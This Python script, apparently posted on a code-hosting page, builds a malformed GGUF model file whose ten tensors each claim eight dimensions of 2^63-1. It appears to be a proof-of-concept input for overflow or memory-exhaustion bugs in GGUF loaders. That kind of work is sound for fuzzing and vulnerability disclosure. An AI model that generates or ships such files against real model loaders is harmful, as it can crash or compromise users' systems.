File size: 974 Bytes
79db897
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import struct
import sys

sys.set_int_max_str_digits(0)
FILENAME = "reasonable.gguf"
GGUF_VERSION = 3
TYPE_F16 = 1
MAX_U64 = 9223372036854775807
DIMS_COUNT = 8 
DIMS = [MAX_U64] * DIMS_COUNT
NUM_TENSORS = 10
ALIGNMENT = 32

def write_u32(f, x): f.write(struct.pack("<I", x))
def write_u64(f, x): f.write(struct.pack("<Q", x))

with open(FILENAME, "wb") as f:
    f.write(b"GGUF")
    write_u32(f, GGUF_VERSION)
    write_u64(f, NUM_TENSORS)
    write_u64(f, 0)
    for i in range(NUM_TENSORS):
        name = f"T{i}".encode()
        write_u64(f, len(name))
        f.write(name)
        write_u32(f, DIMS_COUNT)
        for d in DIMS:
            write_u64(f, d)
        write_u32(f, TYPE_F16)
        write_u64(f, 0) 

    pad_len = (ALIGNMENT - (f.tell() % ALIGNMENT)) % ALIGNMENT
    f.write(b"\x00" * pad_len)
    f.write(b"\x00" * 1024)

per_tensor = MAX_U64 ** DIMS_COUNT
total = per_tensor * NUM_TENSORS
print(f"params: {total}")